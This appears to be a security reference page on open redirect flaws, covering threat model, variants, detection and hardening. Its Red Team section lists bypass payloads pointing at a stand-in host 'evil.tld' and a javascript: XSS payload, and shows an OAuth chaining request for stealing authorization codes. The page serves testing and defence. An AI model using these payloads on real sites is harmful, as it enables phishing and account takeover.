Open redirect
The app redirects to a URL the user controls without validating it. On its own it’s
low-to-medium impact, but it’s an attack multiplier: it lends credibility to phishing
(the legit domain redirects to the fake one), lets you steal the OAuth code/token,
bypass SSRF filters/“same-domain” validations, and sometimes escalate to XSS when the
destination reaches a dangerous sink. The invariant broken is “we only redirect to
trusted destinations”.
flowchart LR
V[Victim] -->|"clicks a legit link"| L["legit.tld/authorize?redirect_uri=...&next=//evil.tld"]
L -->|"OAuth consent"| L2["legit.tld/callback (redirects with the code)"]
L2 -->|"open redirect: //evil.tld"| E[Attacker server]
E -->|"captures the code and redeems it"| A[Attacker → ATO]
Threat model
Section titled “Threat model”- Credible phishing: the link is
https://legit.tld/...and ends at the attacker’s site. - OAuth/SSO credential theft: if the provider’s
redirect_uriallows a client open redirect, thecodeends up on your domain (ATO; see OAuth). - Bypass of validations that trust “the URL starts with our domain”.
- XSS (DOM-based) if the value reaches
location/hrefasjavascript:.
Anatomy
Section titled “Anatomy”Two variants by where the redirect is decided:
- Server-side: the server responds
Location: <user value>(302). - DOM-based (client-side): JavaScript does
location = param,location.href = ...,window.open(param),location.assign/replace(param)with a controllable source (location.search/hash).
The flaw comes from validating the destination with weak heuristics (block-list, “starts
with /”, “contains our domain”) instead of parsing the URL and comparing the exact host.
Typical parameters: ?next=, ?url=, ?returnTo=, ?redirect=, ?dest=, ?continue=,
?r=, ?u=, ?target=, ?redirect_uri=.
Variants
Section titled “Variants”- Server-side redirect — via the
Locationheader. - DOM-based redirect — in a client navigation sink.
javascript:→ XSS — when the sink accepts the scheme.- Chained to OAuth — to steal the
code/token (highest impact). - Chained to SSRF — a redirect the server follows bypasses the allow-list.
Red Team
Section titled “Red Team”Discovery
Section titled “Discovery”Find those parameters (in login, logout, SSO, “back to”), and test whether the value ends in
a redirect. For DOM, find the sinks (location, window.open) with DOM Invader or
DevTools.
Payloads and bypasses (explained)
Section titled “Payloads and bypasses (explained)”| Payload | What it exploits |
|---|---|
?next=https://evil.tld |
direct redirect, no validation |
?next=//evil.tld |
protocol-relative: inherits the scheme, host is evil.tld |
?next=/\evil.tld |
bypass “starts with /” (some browsers treat /\ as //) |
?next=https:evil.tld |
no //: certain browsers normalize it |
?next=https://legit.tld@evil.tld |
userinfo: the real host is evil.tld |
?next=https://evil.tld#legit.tld |
decorative fragment to fool the filter |
?next=https://evil.tld\.legit.tld |
backslash some parsers interpret differently |
?next=https%3a%2f%2fevil.tld |
URL-encode to dodge string filters |
?next=https://legit.tld.evil.tld |
attacker subdomain if it validates “contains legit.tld” |
?next=javascript:alert(document.domain) |
DOM sink → XSS |
Try them mostly against block-list filters and “must contain our domain” filters, the weakest ones.
Exploitation — OAuth chaining (ATO)
Section titled “Exploitation — OAuth chaining (ATO)”GET /authorize?response_type=code&client_id=app&redirect_uri=https://legit.tld/callback?next=//evil.tld HTTP/1.1Host: idp.tldAfter consent, the callback receives next=//evil.tld&code=.... A plain redirect(next)
jumps only to the literal next value and does not carry the code: code theft happens
only if the callback also forwards the code (or the whole query string) to the next
destination. When that holds, capture the code on evil.tld and redeem it for the token:
that’s the difference between an “informational” report and a high-severity one.
Researcher workflow
Section titled “Researcher workflow”- Find the redirect parameter and confirm it redirects off-domain.
- Run the table’s bypasses against the present filter.
- If there’s a DOM sink, test
javascript:for XSS. - Look for the highest-impact chaining: OAuth
code, SSRF, phishing.
Tooling
Section titled “Tooling”Burp Suite, ffuf for parameter discovery, and the PayloadsAllTheThings bypass lists.
Impact and chaining
Section titled “Impact and chaining”Isolated, credible phishing. Chained: ATO via OAuth code/token theft, bypass of
SSRF allow-lists, or XSS via javascript:.
Blue Team
Section titled “Blue Team”Detection
Section titled “Detection”Location redirects to external domains from user parameters; traffic spikes with ?next=
to non-owned domains after a phishing campaign.
Telemetry and sources
Section titled “Telemetry and sources”Server/WAF logs with the generated Location, access logs with the Referer, and
monitoring of unusual destination domains.
Hardening
Section titled “Hardening”- Don’t use user absolute URLs to redirect. Prefer validated relative paths
(starting with
/and not//or/\) or a server-side destination map (id -> url). - If domains must be allowed, exact host allow-list (parse the URL and compare the host, not “contains”).
- Interstitial warning page when leaving the domain.
- In OAuth clients, exact-match
redirect_uri(see OAuth).
Response
Section titled “Response”Fix validation, check for OAuth chaining, and warn if it was used for phishing against users.
CVEs and real-world cases
Section titled “CVEs and real-world cases”- Open redirect is endemic and usually reported as part of chains (OAuth ATO, targeted phishing) rather than an isolated flaw; it appears constantly in bug bounty, even at major identity providers.
- Microsoft, Google and others have paid for open redirects used for token theft in login flows.
Product-specific CVEs/incidents in NVD (https://nvd.nist.gov/vuln/search) and GitHub Advisories (https://github.com/advisories).
Testing checklist
Section titled “Testing checklist”- Redirect parameters located (server and DOM).
- Bypasses tested (
//,/\,@,#, encoding, subdomain). -
javascript:evaluated (DOM → XSS). - Chaining evaluated (OAuth
code/token, SSRF, phishing).